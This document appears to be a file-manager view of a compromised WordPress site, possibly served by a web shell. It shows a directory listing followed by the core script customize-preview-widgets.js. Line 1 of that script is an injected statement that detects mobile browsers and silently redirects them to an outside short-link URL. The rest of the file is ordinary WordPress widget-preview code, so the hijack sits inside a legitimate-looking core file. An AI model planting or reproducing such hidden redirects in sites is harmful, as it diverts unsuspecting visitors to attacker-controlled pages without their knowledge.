run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄customize-preview-widgets.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/customize-preview-widgets.js
4 */
5
6/* global _wpWidgetCustomizerPreviewSettings */
7
8/**
9 * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
10 *
11 * @since 4.5.0
12 *
13 * @namespace wp.customize.widgetsPreview
14 *
15 * @param {jQuery} $ The jQuery object.
16 * @param {Object} _ The utilities library.
17 * @param {Object} wp Current WordPress environment instance.
18 * @param {Object} api Information from the API.
19 *
20 * @return {Object} Widget-related variables.
21 */
22wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {
23
24 var self;
25
26 self = {
27 renderedSidebars: {},
28 renderedWidgets: {},
29 registeredSidebars: [],
30 registeredWidgets: {},
31 widgetSelectors: [],
32 preview: null,
33 l10n: {
34 widgetTooltip: ''
35 },
36 selectiveRefreshableWidgets: {}
37 };
38
39 /**
40 * Initializes the widgets preview.
41 *
42 * @since 4.5.0
43 *
44 * @memberOf wp.customize.widgetsPreview
45 *
46 * @return {void}
47 */
48 self.init = function() {
49 var self = this;
50
51 self.preview = api.preview;
52 if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
53 self.addPartials();
54 }
55
56 self.buildWidgetSelectors();
57 self.highlightControls();
58
59 self.preview.bind( 'highlight-widget', self.highlightWidget );
60
61 api.preview.bind( 'active', function() {
62 self.highlightControls();
63 } );
64
65 /*
66 * Refresh a partial when the controls pane requests it. This is used currently just by the
67 * Gallery widget so that when an attachment's caption is updated in the media modal,
68 * the widget in the preview will then be refreshed to show the change. Normally doing this
69 * would not be necessary because all of the state should be contained inside the changeset,
70 * as everything done in the Customizer should not make a change to the site unless the
71 * changeset itself is published. Attachments are a current exception to this rule.
72 * For a proposal to include attachments in the customized state, see #37887.
73 */
74 api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
75 var partialId = 'widget[' + widgetId + ']';
76 if ( api.selectiveRefresh.partial.has( partialId ) ) {
77 api.selectiveRefresh.partial( partialId ).refresh();
78 } else if ( self.renderedWidgets[ widgetId ] ) {
79 api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
80 }
81 } );
82 };
83
84 self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{
85
86 /**
87 * Represents a partial widget instance.
88 *
89 * @since 4.5.0
90 *
91 * @constructs
92 * @augments wp.customize.selectiveRefresh.Partial
93 *
94 * @alias wp.customize.widgetsPreview.WidgetPartial
95 * @memberOf wp.customize.widgetsPreview
96 *
97 * @param {string} id The partial's ID.
98 * @param {Object} options Options used to initialize the partial's
99 * instance.
100 * @param {Object} options.params The options parameters.
101 */
102 initialize: function( id, options ) {
103 var partial = this, matches;
104 matches = id.match( /^widget\[(.+)]$/ );
105 if ( ! matches ) {
106 throw new Error( 'Illegal id for widget partial.' );
107 }
108
109 partial.widgetId = matches[1];
110 partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
111 options = options || {};
112 options.params = _.extend(
113 {
114 settings: [ self.getWidgetSettingId( partial.widgetId ) ],
115 containerInclusive: true
116 },
117 options.params || {}
118 );
119
120 api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
121 },
122
123 /**
124 * Refreshes the widget partial.
125 *
126 * @since 4.5.0
127 *
128 * @return {Promise|void} Either a promise postponing the refresh, or void.
129 */
130 refresh: function() {
131 var partial = this, refreshDeferred;
132 if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
133 refreshDeferred = $.Deferred();
134 refreshDeferred.reject();
135 partial.fallback();
136 return refreshDeferred.promise();
137 } else {
138 return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
139 }
140 },
141
142 /**
143 * Sends the widget-updated message to the parent so the spinner will get
144 * removed from the widget control.
145 *
146 * @inheritDoc
147 * @param {wp.customize.selectiveRefresh.Placement} placement The placement
148 * function.
149 *
150 * @return {void}
151 */
152 renderContent: function( placement ) {
153 var partial = this;
154 if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
155 api.preview.send( 'widget-updated', partial.widgetId );
156 api.selectiveRefresh.trigger( 'widget-updated', partial );
157 }
158 }
159 });
160
161 self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{
162
163 /**
164 * Represents a partial widget area.
165 *
166 * @since 4.5.0
167 *
168 * @class
169 * @augments wp.customize.selectiveRefresh.Partial
170 *
171 * @memberOf wp.customize.widgetsPreview
172 * @alias wp.customize.widgetsPreview.SidebarPartial
173 *
174 * @param {string} id The partial's ID.
175 * @param {Object} options Options used to initialize the partial's instance.
176 * @param {Object} options.params The options parameters.
177 */
178 initialize: function( id, options ) {
179 var partial = this, matches;
180 matches = id.match( /^sidebar\[(.+)]$/ );
181 if ( ! matches ) {
182 throw new Error( 'Illegal id for sidebar partial.' );
183 }
184 partial.sidebarId = matches[1];
185
186 options = options || {};
187 options.params = _.extend(
188 {
189 settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
190 },
191 options.params || {}
192 );
193
194 api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
195
196 if ( ! partial.params.sidebarArgs ) {
197 throw new Error( 'The sidebarArgs param was not provided.' );
198 }
199 if ( partial.params.settings.length > 1 ) {
200 throw new Error( 'Expected SidebarPartial to only have one associated setting' );
201 }
202 },
203
204 /**
205 * Sets up the partial.
206 *
207 * @since 4.5.0
208 *
209 * @return {void}
210 */
211 ready: function() {
212 var sidebarPartial = this;
213
214 // Watch for changes to the sidebar_widgets setting.
215 _.each( sidebarPartial.settings(), function( settingId ) {
216 api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
217 } );
218
219 // Trigger an event for this sidebar being updated whenever a widget inside is rendered.
220 api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
221 var isAssignedWidgetPartial = (
222 placement.partial.extended( self.WidgetPartial ) &&
223 ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
224 );
225 if ( isAssignedWidgetPartial ) {
226 api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
227 }
228 } );
229
230 // Make sure that a widget partial has a container in the DOM prior to a refresh.
231 api.bind( 'change', function( widgetSetting ) {
232 var widgetId, parsedId;
233 parsedId = self.parseWidgetSettingId( widgetSetting.id );
234 if ( ! parsedId ) {
235 return;
236 }
237 widgetId = parsedId.idBase;
238 if ( parsedId.number ) {
239 widgetId += '-' + String( parsedId.number );
240 }
241 if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
242 sidebarPartial.ensureWidgetPlacementContainers( widgetId );
243 }
244 } );
245 },
246
247 /**
248 * Gets the before/after boundary nodes for all instances of this sidebar
249 * (usually one).
250 *
251 * Note that TreeWalker is not implemented in IE8.
252 *
253 * @since 4.5.0
254 *
255 * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
256 * An array with an object for each sidebar instance, containing the
257 * node before and after the sidebar instance and its instance number.
258 */
259 findDynamicSidebarBoundaryNodes: function() {
260 var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
261 regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
262 recursiveCommentTraversal = function( childNodes ) {
263 _.each( childNodes, function( node ) {
264 var matches;
265 if ( 8 === node.nodeType ) {
266 matches = node.nodeValue.match( regExp );
267 if ( ! matches || matches[2] !== partial.sidebarId ) {
268 return;
269 }
270 if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
271 boundaryNodes[ matches[3] ] = {
272 before: null,
273 after: null,
274 instanceNumber: parseInt( matches[3], 10 )
275 };
276 }
277 if ( 'dynamic_sidebar_before' === matches[1] ) {
278 boundaryNodes[ matches[3] ].before = node;
279 } else {
280 boundaryNodes[ matches[3] ].after = node;
281 }
282 } else if ( 1 === node.nodeType ) {
283 recursiveCommentTraversal( node.childNodes );
284 }
285 } );
286 };
287
288 recursiveCommentTraversal( document.body.childNodes );
289 return _.values( boundaryNodes );
290 },
291
292 /**
293 * Gets the placements for this partial.
294 *
295 * @since 4.5.0
296 *
297 * @return {Array} An array containing placement objects for each of the
298 * dynamic sidebar boundary nodes.
299 */
300 placements: function() {
301 var partial = this;
302 return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
303 return new api.selectiveRefresh.Placement( {
304 partial: partial,
305 container: null,
306 startNode: boundaryNodes.before,
307 endNode: boundaryNodes.after,
308 context: {
309 instanceNumber: boundaryNodes.instanceNumber
310 }
311 } );
312 } );
313 },
314
315 /**
316 * Get the list of widget IDs associated with this widget area.
317 *
318 * @since 4.5.0
319 *
320 * @throws {Error} If there's no settingId.
321 * @throws {Error} If the setting doesn't exist in the API.
322 * @throws {Error} If the API doesn't pass an array of widget IDs.
323 *
324 * @return {Array} A shallow copy of the array containing widget IDs.
325 */
326 getWidgetIds: function() {
327 var sidebarPartial = this, settingId, widgetIds;
328 settingId = sidebarPartial.settings()[0];
329 if ( ! settingId ) {
330 throw new Error( 'Missing associated setting.' );
331 }
332 if ( ! api.has( settingId ) ) {
333 throw new Error( 'Setting does not exist.' );
334 }
335 widgetIds = api( settingId ).get();
336 if ( ! _.isArray( widgetIds ) ) {
337 throw new Error( 'Expected setting to be array of widget IDs' );
338 }
339 return widgetIds.slice( 0 );
340 },
341
342 /**
343 * Reflows widgets in the sidebar, ensuring they have the proper position in the
344 * DOM.
345 *
346 * @since 4.5.0
347 *
348 * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
349 * that were reflowed.
350 */
351 reflowWidgets: function() {
352 var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
353 widgetIds = sidebarPartial.getWidgetIds();
354 sidebarPlacements = sidebarPartial.placements();
355
356 widgetPartials = {};
357 _.each( widgetIds, function( widgetId ) {
358 var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
359 if ( widgetPartial ) {
360 widgetPartials[ widgetId ] = widgetPartial;
361 }
362 } );
363
364 _.each( sidebarPlacements, function( sidebarPlacement ) {
365 var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;
366
367 // Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
368 _.each( widgetPartials, function( widgetPartial ) {
369 _.each( widgetPartial.placements(), function( widgetPlacement ) {
370
371 if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
372 thisPosition = widgetPlacement.container.index();
373 sidebarWidgets.push( {
374 partial: widgetPartial,
375 placement: widgetPlacement,
376 position: thisPosition
377 } );
378 if ( thisPosition < lastPosition ) {
379 needsSort = true;
380 }
381 lastPosition = thisPosition;
382 }
383 } );
384 } );
385
386 if ( needsSort ) {
387 _.each( sidebarWidgets, function( sidebarWidget ) {
388 sidebarPlacement.endNode.parentNode.insertBefore(
389 sidebarWidget.placement.container[0],
390 sidebarPlacement.endNode
391 );
392
393 // @todo Rename partial-placement-moved?
394 api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
395 } );
396
397 sortedSidebarContainers.push( sidebarPlacement );
398 }
399 } );
400
401 if ( sortedSidebarContainers.length > 0 ) {
402 api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
403 }
404
405 return sortedSidebarContainers;
406 },
407
408 /**
409 * Makes sure there is a widget instance container in this sidebar for the given
410 * widget ID.
411 *
412 * @since 4.5.0
413 *
414 * @param {string} widgetId The widget ID.
415 *
416 * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
417 */
418 ensureWidgetPlacementContainers: function( widgetId ) {
419 var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
420 widgetPartial = api.selectiveRefresh.partial( partialId );
421 if ( ! widgetPartial ) {
422 widgetPartial = new self.WidgetPartial( partialId, {
423 params: {}
424 } );
425 }
426
427 // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
428 _.each( sidebarPartial.placements(), function( sidebarPlacement ) {
429 var foundWidgetPlacement, widgetContainerElement;
430
431 foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
432 return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
433 } );
434 if ( foundWidgetPlacement ) {
435 return;
436 }
437
438 widgetContainerElement = $(
439 sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
440 sidebarPartial.params.sidebarArgs.after_widget
441 );
442
443 // Handle rare case where before_widget and after_widget are empty.
444 if ( ! widgetContainerElement[0] ) {
445 return;
446 }
447
448 widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
449 widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
450 widgetContainerElement.attr( 'data-customize-widget-id', widgetId );
451
452 /*
453 * Make sure the widget container element has the customize-container context data.
454 * The sidebar_instance_number is used to disambiguate multiple instances of the
455 * same sidebar are rendered onto the template, and so the same widget is embedded
456 * multiple times.
457 */
458 widgetContainerElement.data( 'customize-partial-placement-context', {
459 'sidebar_id': sidebarPartial.sidebarId,
460 'sidebar_instance_number': sidebarPlacement.context.instanceNumber
461 } );
462
463 sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
464 wasInserted = true;
465 } );
466
467 api.selectiveRefresh.partial.add( widgetPartial );
468
469 if ( wasInserted ) {
470 sidebarPartial.reflowWidgets();
471 }
472
473 return widgetPartial;
474 },
475
476 /**
477 * Handles changes to the sidebars_widgets[] setting.
478 *
479 * @since 4.5.0
480 *
481 * @param {Array} newWidgetIds New widget IDs.
482 * @param {Array} oldWidgetIds Old widget IDs.
483 *
484 * @return {void}
485 */
486 handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
487 var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];
488
489 needsRefresh = (
490 ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
491 ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
492 );
493 if ( needsRefresh ) {
494 sidebarPartial.fallback();
495 return;
496 }
497
498 // Handle removal of widgets.
499 widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
500 _.each( widgetsRemoved, function( removedWidgetId ) {
501 var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
502 if ( widgetPartial ) {
503 _.each( widgetPartial.placements(), function( placement ) {
504 var isRemoved = (
505 placement.context.sidebar_id === sidebarPartial.sidebarId ||
506 ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
507 );
508 if ( isRemoved ) {
509 placement.container.remove();
510 }
511 } );
512 }
513 delete self.renderedWidgets[ removedWidgetId ];
514 } );
515
516 // Handle insertion of widgets.
517 widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
518 _.each( widgetsAdded, function( addedWidgetId ) {
519 var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
520 addedWidgetPartials.push( widgetPartial );
521 self.renderedWidgets[ addedWidgetId ] = true;
522 } );
523
524 _.each( addedWidgetPartials, function( widgetPartial ) {
525 widgetPartial.refresh();
526 } );
527
528 api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
529 },
530
531 /**
532 * Refreshes the sidebar partial.
533 *
534 * Note that the meat is handled in handleSettingChange because it has the
535 * context of which widgets were removed.
536 *
537 * @since 4.5.0
538 *
539 * @return {Promise} A promise postponing the refresh.
540 */
541 refresh: function() {
542 var partial = this, deferred = $.Deferred();
543
544 deferred.fail( function() {
545 partial.fallback();
546 } );
547
548 if ( 0 === partial.placements().length ) {
549 deferred.reject();
550 } else {
551 _.each( partial.reflowWidgets(), function( sidebarPlacement ) {
552 api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
553 } );
554 deferred.resolve();
555 }
556
557 return deferred.promise();
558 }
559 });
560
561 api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
562 api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;
563
564 /**
565 * Adds partials for the registered widget areas (sidebars).
566 *
567 * @since 4.5.0
568 *
569 * @return {void}
570 */
571 self.addPartials = function() {
572 _.each( self.registeredSidebars, function( registeredSidebar ) {
573 var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
574 partial = api.selectiveRefresh.partial( partialId );
575 if ( ! partial ) {
576 partial = new self.SidebarPartial( partialId, {
577 params: {
578 sidebarArgs: registeredSidebar
579 }
580 } );
581 api.selectiveRefresh.partial.add( partial );
582 }
583 } );
584 };
585
586 /**
587 * Calculates the selector for the sidebar's widgets based on the registered
588 * sidebar's info.
589 *
590 * @memberOf wp.customize.widgetsPreview
591 *
592 * @since 3.9.0
593 *
594 * @return {void}
595 */
596 self.buildWidgetSelectors = function() {
597 var self = this;
598
599 $.each( self.registeredSidebars, function( i, sidebar ) {
600 var widgetTpl = [
601 sidebar.before_widget,
602 sidebar.before_title,
603 sidebar.after_title,
604 sidebar.after_widget
605 ].join( '' ),
606 emptyWidget,
607 widgetSelector,
608 widgetClasses;
609
610 emptyWidget = $( widgetTpl );
611 widgetSelector = emptyWidget.prop( 'tagName' ) || '';
612 widgetClasses = emptyWidget.prop( 'className' ) || '';
613
614 // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
615 if ( ! widgetClasses ) {
616 return;
617 }
618
619 // Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
620 widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
621 widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
622 if ( widgetClasses ) {
623 widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
624 }
625 self.widgetSelectors.push( widgetSelector );
626 });
627 };
628
629 /**
630 * Highlights the widget on widget updates or widget control mouse overs.
631 *
632 * @memberOf wp.customize.widgetsPreview
633 *
634 * @since 3.9.0
635 * @param {string} widgetId ID of the widget.
636 *
637 * @return {void}
638 */
639 self.highlightWidget = function( widgetId ) {
640 var $body = $( document.body ),
641 $widget = $( '#' + widgetId );
642
643 $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );
644
645 $widget.addClass( 'widget-customizer-highlighted-widget' );
646 setTimeout( function() {
647 $widget.removeClass( 'widget-customizer-highlighted-widget' );
648 }, 500 );
649 };
650
651 /**
652 * Shows a title and highlights widgets on hover. On shift+clicking focuses the
653 * widget control.
654 *
655 * @memberOf wp.customize.widgetsPreview
656 *
657 * @since 3.9.0
658 *
659 * @return {void}
660 */
661 self.highlightControls = function() {
662 var self = this,
663 selector = this.widgetSelectors.join( ',' );
664
665 // Skip adding highlights if not in the customizer preview iframe.
666 if ( ! api.settings.channel ) {
667 return;
668 }
669
670 $( selector ).attr( 'title', this.l10n.widgetTooltip );
671 // Highlights widget when entering the widget editor.
672 $( document ).on( 'mouseenter', selector, function() {
673 self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
674 });
675
676 // Open expand the widget control when shift+clicking the widget element.
677 $( document ).on( 'click', selector, function( e ) {
678 if ( ! e.shiftKey ) {
679 return;
680 }
681 e.preventDefault();
682
683 self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
684 });
685 };
686
687 /**
688 * Parses a widget ID.
689 *
690 * @memberOf wp.customize.widgetsPreview
691 *
692 * @since 4.5.0
693 *
694 * @param {string} widgetId The widget ID.
695 *
696 * @return {{idBase: string, number: number|null}} An object containing the idBase
697 * and number of the parsed widget ID.
698 */
699 self.parseWidgetId = function( widgetId ) {
700 var matches, parsed = {
701 idBase: '',
702 number: null
703 };
704
705 matches = widgetId.match( /^(.+)-(\d+)$/ );
706 if ( matches ) {
707 parsed.idBase = matches[1];
708 parsed.number = parseInt( matches[2], 10 );
709 } else {
710 parsed.idBase = widgetId; // Likely an old single widget.
711 }
712
713 return parsed;
714 };
715
716 /**
717 * Parses a widget setting ID.
718 *
719 * @memberOf wp.customize.widgetsPreview
720 *
721 * @since 4.5.0
722 *
723 * @param {string} settingId Widget setting ID.
724 *
725 * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
726 * and number of the parsed widget setting ID,
727 * or null.
728 */
729 self.parseWidgetSettingId = function( settingId ) {
730 var matches, parsed = {
731 idBase: '',
732 number: null
733 };
734
735 matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
736 if ( ! matches ) {
737 return null;
738 }
739 parsed.idBase = matches[1];
740 if ( matches[2] ) {
741 parsed.number = parseInt( matches[2], 10 );
742 }
743 return parsed;
744 };
745
746 /**
747 * Converts a widget ID into a Customizer setting ID.
748 *
749 * @memberOf wp.customize.widgetsPreview
750 *
751 * @since 4.5.0
752 *
753 * @param {string} widgetId The widget ID.
754 *
755 * @return {string} The setting ID.
756 */
757 self.getWidgetSettingId = function( widgetId ) {
758 var parsed = this.parseWidgetId( widgetId ), settingId;
759
760 settingId = 'widget_' + parsed.idBase;
761 if ( parsed.number ) {
762 settingId += '[' + String( parsed.number ) + ']';
763 }
764
765 return settingId;
766 };
767
768 api.bind( 'preview-ready', function() {
769 $.extend( self, _wpWidgetCustomizerPreviewSettings );
770 self.init();
771 });
772
773 return self;
774})( jQuery, _, wp, wp.customize );
775